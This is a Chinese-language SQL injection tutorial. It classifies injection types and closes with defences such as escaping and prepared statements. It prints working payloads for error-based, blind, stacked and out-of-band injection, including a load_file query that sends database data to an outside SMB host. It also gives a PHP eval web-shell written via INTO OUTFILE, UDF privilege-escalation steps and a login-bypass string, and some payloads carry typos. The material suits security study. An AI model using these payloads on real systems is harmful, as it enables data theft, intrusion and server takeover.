SQL注入介绍
SQL漏洞原理
SQL注入是发生于应用程序与数据库层的安全漏洞。SQL注入是服务器段【未严格校验】客户端发送的数据,而导致服务端【SQL语句】被【恶意修改】并【成功执行】的行为被称之为SQL注入。本质上是打破原本传递数据区域的边界,插入恶意的SQL语句。
SQL注入漏洞的出现场景
SQL注入漏洞可能出现在一些由动态语言(PHP、JAVA等)编写的动态网站和伪静态网站的登录功能、详情页、搜索功能、商品购买等,在任何和数据库产生交互的地方便有可能存在SQL注入漏洞
动态网站
当用户访问网站时,服务器会根据用户提交的不同的参数在数据库中进行检索,即可返回对应的内容,具有交互的能力
静态网站
当网站开发人员在对网站开发完成后,内容就已经固定,无论是哪个用户来浏览其内容都是固定的,没有参数化的交互
伪静态网站
伪静态页面是指动态网页通过重写URL的方法实现去掉动态网页的参数,但在实际的网页目录中并没有必要实现存在重写的页面。
判断一个网站是不是伪静态网站的方法,首先用火狐浏览器打开该网站,F12打开console控制台模块,在里面输入 alert(document.lastModiFied) ,运行命令,可以看见弹窗弹出一个时间,刷新后用同样的方法再来一次,如果时间不同就是一个伪静态网站
SQL注入
参数点位置对SQL注入的影响
SELECT① *② FROM SQL_INJECTION③ WHERE id=1④ ORDER BY view_times⑤ LIMIT 0,1⑥
①代表 SELECT 动词可控。如果这个位置可以控制,攻击者可以构造完整的SQL语句,可以对数据库进行DELETE、UPDATA语句的操作,还可以使用 set 修改环境变量②代表查询字段可控。这里可以修改查询的字段,恶意修改查询的表名,实际上就可以从任意表中查询出任何数据(只要字段与原有逻辑保持一致)③代表表名可控。可以更换表名,如果前面的字段是 * ,替换后的新表需要和原有表具有相同数量的字段,如果不为 * 需要新表中查询的字段名称与原始语句所写的字段名称一样。不过,及时不替换表名,也可以通过构造任意的 where 条件语句
SELECT * FROM SQL_Ingection WHERE 1=1 AND (SELECT ....) # WHERE id=2 ORDER BY view_times LIMIT 0,1;
④代表的最常见的条件注入⑤这个位置在 order by 字段之后,通常被称为 order by 注入。这个位置的注入已经无法使用Union注入的方法了,并且需要使用一些函数来引入SQL语句,入if函数、rand函数等
select * from SQL_Injection where id=2 oeder by id,if(1=2,1,sleep(1));
由于 order by 位置对参数有要求,所以可以利用特殊符号引发报错
select * from SQL_Injection where id=2 order by id,1 and extractvalue(1,if(1=2,1, '@'));
⑥位于 limit 之后,也被称为 limit注入 。这个位置的注入条件苛刻,目前公开的使用 procedure analyse 语句引入 SQL 语句其只能在 5.0至5.6.6 可以进行注入。但是如果在 limit 之后且前面没有 order by 语句可以使用 union 注入
注入点在SQL语句中的位置越靠前,可操控性越强,注入利用的可能性越大;参数点越后,对注入的条件就越苛刻
不同数据库下的SQL注入
数据库大致可以分为两类:关系型数据库和非关系型数据库。无论是关系型数据库还是非关系型数据库都存在被注入的风险,NoSQL数据库不存在传统的注入方式,但是结合一些NoSQL特性的新方法可以达到注入的目的
关系型数据库 Mysql 默认端口:3306系统表:information_schema时间函数:sleep(5)最高权限用户:rootOracle 默认端口:1521系统表:all_tables、user_tables时间函数:DBMS_PIPE.RECEIVE_MESSAGE('a',5)最高权限用户:sysMSSQL 默认端口:1433系统表:master、sysobjects时间函数:WAITFOR DELAY '00:00:05'最高权限用户:saSQLite 系统表:sqlite_masterPostgreSQL 默认端口:5432系统表:pg_database、pg_tables时间函数:pg_sleep(5)最高权限用户:这个超级用户的名称与初使化数据库时的操作系统用户名相同DB2 默认端口:50000系统表:sysibmAccess Access数据库属于文件型数据库,不需要端口号,没有系统表非关系型数据库 MongoDB 默认端口号:27017Memcached 默认端口号:11211Redis 默认端口号:6379
SQL注入中常使用的函数
字符串连接函数
concat(str1,str2):直接连接
group_concat(str1,str2):使用逗号作为分隔符
concat_ws(sep,str1,str2):使用sep作为分隔符进行连接
limit x,y
x是用来控制显示第几条数据的,从0开始 y是用来控制像是几条数据的,从1开始
SQL注入分类
按有无闭合符分类
整型注入
注入点提交的数据类型是数值型,不存在闭合符,无需闭合闭合符
select * from Sql_Inject where id=1 and union select 1,verion(),2 --+
字符型注入
注入点提交的数据是字符串类型的,在这种提交数据的注入点一定存在闭合符的干扰,攻击者需要先获取闭合符是什么,常见的闭合符有单引号、双引号、括号和单引号、搜索符('%a%')以及混合使用。在通过模糊测试得到闭合符后,只需要闭合闭合符后进行构造SQL注入语句进行测试。
字符型闭合闭合符的方式有两种
第一种是像下面的这种方式通过构造相同闭合符的语句进行闭合
?name = 'a' and 1=1 and 'a'='a'
第二种是通过 # 进行注释,直接让后面的语句不在生效。但是 # 只能注释一行语句,如果SQL语句是多行的拼接语句还是需要第一种方式进行闭合绕过
?name = 'a' and 1=1#
搜索型注入
搜索型注入本质上还是字符型注入,只是payload的构造不同。搜索型注入常见于like之后使用的模糊匹配。闭合符一般是搜索符('%a%')的形式
注入语句的构造
select * from SQL_Injextion where name like '%a%' and '%' = '%'
注
搜索型注入不一定适用 % 来闭合,适用单独的单引号也可以,在之前加 % 仅仅是为了让前面的搜索更充分,能够匹配到结果。闭合闭合符是与字符型相同,在没有后续语句换行的情况下可以适用 # 注释
In注入
In注入主要发生在in语句种。这种注入往往需要通过括号来进行闭合
整数型In注入
select * from tables where id in (1,2,3) and (1)=(1)
字符型In注入
select * from tables where id in ('1','2','3') and ('1') = ('1')
混合注入
闭合符混合使用
按数据传输方式分类
按照数据的传输方式进行分类的话可以分为GET型注入、POST型注入、COOKIE注入、referer注入等
按注入模式分类
联合查询注入
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。但是这两个表的字段数必须要相同,不然会出现报错
一般的注入步骤为
判断注入点以及注入点的数据类型通过order by 获取字段数通过sql语句判断显示位通过利用mysql的自带数据库information_schema数据库来获取数据库的信息以及数据
information_schema数据库
information_schema数据库是MySQL5.0版本之后自带的数据库,它是用来存储数据库的元数据(比如数据库,表的名称,列的数据类型或者访问权限等),在每个 MySQL 实例中,information_schema 保存了它维护的所有数据库的信息,这个库中包含了很多只读的表。
information_schema.schemata:所有数据库名字 schema_name:数据库名information_schema.tables:所有表的名字 table_schema:表所属数据库的名字table_name:表的名字information_schema.columns:所有字段的名字 table_schema:字段所属数据库的名字table_name:字段所属表的名字column_name:字段的名字
常用来获取数据库信息的函数
user():当前用户名
database():当前所用数据库
current_user():当前用户名
version():数据库版本
@@datadir:数据库路径
报错型注入
报错型注入原理
是在网页在页面没有回显时通过构造恶意SQL语句使数据库进行报错,通过报错的回显信息来获取数据库的敏感信息的注入方式
报错注入点测试
通过 ?id=1‘ 来测试,在参数后面添加一个 ’ 来引起一个SQL语句错误;数据库引擎会抛出错误,根据不同的开发模式,有些网站可能会将错误信息打印在网站上在 ?id=1 后添加一个 \ ,反斜杠是sql语句一个特殊字符具有转义的功能,如果是字符型注入时通过 \ 来转义打破单引号,最后形成一个未闭合的语句整数溢出方式,当 MySQL 执行的数学运算产生的结果过大为造成整数溢出。 根据页面是否返回异常,来判断sql语句是否执行成功不是所有在整型溢出报错的位置都存在SQL注入漏洞
报错型注入常用的函数
updatexml()
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
构造payload:
?id=2 and updatexml(1,concat(0x23,version(),0x23,database()),1)--+
使用条件
Mysql版本>=5.1.5
extractvalue()
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
构建payload:
or extractvalue(1,concat(0x7e,database())) --+
使用条件
Mysql版本>=5.1.5
floor()
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
构建payload:
or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
还有其他的函数可以构造报错语句,例如:exp()、multilinestring()、linestring()等,在此不在一一列举
布尔型盲注
Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行。
在注入为了绕过WAF等防护设备,通常需要对sql语句返回的内容进行编码,绕过防护,常用的有ASCII编码等
ASCII编码
注入点检测
最基础的 and 1=1 和 and 1=2
本质上就是通过构造payload来让网页报错,观察网页在报错时和正常时显示是否正常
注入方式
left(str,X)函数:截取str的前X位
?id=1 and ascii(left(database(),1))>94 --+
在注入时为了效率需要将ascii码表分为两部分,使用二分法进行查询
mid(str,x,y)函数:截取str,x是起始前,y是长度
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>94 --+
substr(str,x,y)函数:截取字符串str,从x开始,y个长度的字符串
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>94 --+
lpad(str,x,y):查询字符串str的前x位,如果x>str的实际长度,则用y补充到x位(从做开始填充)
trim(str):最常见的用途是移除字首和字尾的空格
reverse()返回字符顺序颠倒的字符串表达式
构建payload:
// 通过lpad函数截取user()的值的前两位后,通过trim去空,在通过lpad函数将reverse函数倒叙输出的字符截取首位,就获得了user()第二位是olpad(reverse(trim(lpad(user(),2,space(1)))),1,space(1))
查询user()的值
通过lpad()函数查看user()前两位
通过trim去掉lpad返回的字符串'or'前后的空格,因为没有所以和原先一致
通过reverse()函数将去掉前后空格的字符串倒序返回
因为通过reverse()倒序返回了字符串,所以只需要通过lpad()函数查看第一个字符就是我们需要猜测的内容
replace(str,x,y)函数:使用y将字符串str中的x替换
通过lpad函数和replace的结合使用构造恶意的注入语句
select replace(LPAD(user(),2,1),LPAD(user(),2-1,1),"");
时间型盲注
时间盲注,是一种盲注的手法, 提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,利用脚本程序跑出结果
注入点判断
sleep(X)函数:通过sleep函数来判断注入点是否存在,但是返回的时间不一定就必须是规定的时间X,也可能是X的整数倍,因为可能不止一条语句在执行
?id=1 and sleep(5) --+
benchmark(count, expr)函数:函数重复 count 次执行表达式 expr,它可以用于计时MySQL处理表达式的速度,结果总为0.如果给 expr 设置一个需要消耗一定性能和时间成本的计算(常用哈希计算),然后给 conut 设定一个较大的次数,那么该函数的执行是需要花费明显的时间的。
?id=1 and benchmark(10000,md5(1)) --+
笛卡尔积法:利用 information_schema 数据库计算笛卡尔积
注入方式
sleep
?id = 1 and if((ascii(mid((select version()),1,1))=5),sleep(5),1)--+
benchmark
?id=1 and if((ascii(mid((select version()),1,1))=5),benchmark(100000,md5(1)),1) --+
注
时间盲注容易被网络波动影响一些网站为了保证网站快速响应,会在数据库查询时间社子和一个阈值,如果sleep中的值大于阈值,都会以阈值的为准,对判断造成干扰基于时间的SQL注入检测具有一定的不可控性,可能会带来数据库大量运算导致数据库拒绝服务,所以在测试时需要评估场景,谨慎小心
堆叠型注入
原理
在SQL中,分号(;)是用来表示一条sql语句的结束。我们在结束的语句后继续构建一条语句,让其被服务器带入数据库中执行,这就是堆叠注入。
与联合查询注入的区别
联合注入只能注入与前面语句相同的sql语句。例前面是select语句,我们也只能注入select语句。但是堆叠注入没有这个限制,可以执行任意语句
局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
外带法
DNS外带注入
UNC语法
通用命名规则 UNC (Universal Naming Convention) ,也叫通用命名规范、通用命名约定。在网络中,指用一种通用语法来描述网络资源(如共享文件,目录或打印机)的位置。
UNC命名由三部分组成分别是:服务器名、共享名和一个可选的文件路径。语法:\\server\share\file_path
注入语句
基于DNS查询的SQL注入攻击通常的思路是在发起DNS外带查询时,将域名中的子域名替换为需要获取的数据。由于域名对明治的限制,需要对数据进行编码。
select load_file(concat('\\\\',(select substr(hex(password),1,20) from user limit 0,1), '.\\test.txt'))
局限性
因为UNC命名只针对Windows服务器,所以DNS外带注入仅限于数据库服务器采用windows操作系统的情况下还需要mysql配置中 secure_file_priv 参数的值为空 自 Mysql 5.7.16 版本之后,该字段默认值由“未设定具体值”修改为了“NULL”,不在默认支持DNS外带注入 SMB外带注入
注入语句
select load_file(concat('\\\\10.0.0.1\\test\\[do9gy',user(),'do9gy]\\1.txt'));
查看SMB日志
vi /var/log/samba/log.smbd
DNS外带注入和SMB外带注入的区别
SMB可以提交的长度较长,可以提交120个字符,DNS最多能提交63个字符SMB注入不依赖于DNS,可以绕过目前流量监控设备对异常域名前缀的捕获,可以直接使用IP,不需要DNS请求二者都受限于Windows系统以及Mysql的 secure_file_priv 配置选项
按SQL动词分类
select注入:如果注入点位置不在 order by 之后,可以支持 Union 注入,而在其他动词中,则无法使用 union 注入
delete注入:可能导致清除整张表
update注入:可能重置整张表
insert注入:插入数据,实现提权
delect、update、insert这三种注入方式几乎同属一类,在注入时多使用报错注入,在无法报错注入时也可以采用时间盲注。布尔盲注很少使用,使用布尔盲注的前提时前提可以观察到插入或者更新数据的差异
SQL注入漏洞的危害
读取敏感信息 读取数据库信息:读取数据库中的信息,获取敏感信息,例如:账号密码等读取系统敏感文件:使用 load_file 读取文件,为了对抗单引号环境可以对文件路径进行十六进制编码或者通过 char函数 进行转码,以十进制的ASCII码提交路径网页篡改:通过操作数据库对特定的网页进行篡改上传文件 条件:secure_file_priv的没有任何值 查看方式:show global variables like '%secure%';如果有值则在MYSQL\my.ini中修改上传木马 写入一句话select “<?php @eval($_POST[hacker]);?>” into outfile "C:\\phpStudy1103\\WWW\\1.php"
SQL注入写文件数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改 提权技术:从低权限的状态提升到高权限的状态,往往是将普通用户放到 Administrators (windows高级管理员组)、 System (Windows系统最高权限)、 root (linux最高权限) 分类:内核提权、应用程序和服务提权UDF提权 UDF提权的条件 secure_file_priv的没有任何值
show global variables like '%secure%';
查看plugin的值是否为空,plugin的值为空不能进行udf提权;当plugin的值为mysql_native_password可通过账户连接提权。
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
提权过程 把 .dll 文件上传到特定的目录下(linux系统下是.so后缀) mysql版本大于5.1上传到 \lib\plugin 目录下,默认不存在,自行通过shell创建mysql版本小于5.1上传到 C:\windows\system32 下声明引入这个dll文件中的自定义函数使用自定义函数执行系统命令,完成提权服务器被远程控制:安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统破坏数据,瘫痪系统万能密码
万能密码本质上是SQL注入,通过POST传参后,数据库通过查询数据,如果在数据库中无法查到该账号或者密码就返回空,由此判断密码的正确与否。如果通过上传恶意的SQL语句来使数据库的逻辑判断错误则形成了万能密码
select * from users where username='admin' and passwd='a' or 'a'='a'
由此虽然密码是错误的,但是数据库还是认为攻击者输入的密码是正确的,使攻击者可以实现登录
SQL注入的防御
通过转义防御SQL注入原理
将边界限定为单引号,参数中的内容统一进行一次转义,使之称为真正的数据。只要数据无法逃逸出边界,便永远处于数据域,无法改变逻辑。
这种方式可以防御SQL注入但是如果不严格同样还是存在SQL注入,例如宽字节注入和二次注入。
宽字节注入
宽字节注入是通过提交宽字节编码(如GBK)的半个字符,利用这个字符与 \ 的编码进行结合,使 \ 对 ’ 的转义失效,实现 ' 的逃逸 。
二次注入
因为数据存储到数据库是要进行一次反编译,还原原本的数据,攻击者直接将注入语句先存储到数据库中,一些CMS在调用数据库中数据中直接取出语句,不进行处理就可能造成二次注入漏洞的产生。
二次注入是指的数据在第二次或者多次取出数据时实现SQL注入。常出现在白盒审计中,黑盒测试中很难发现
SQL预编译
将SQL执行的代码和参数进行区分。对于参数区域,统一在其左右两侧添加单引号或者双引号,在将所有传入参数数据进行统一的转义,能够保证用户提交的参数不会污染到代码区域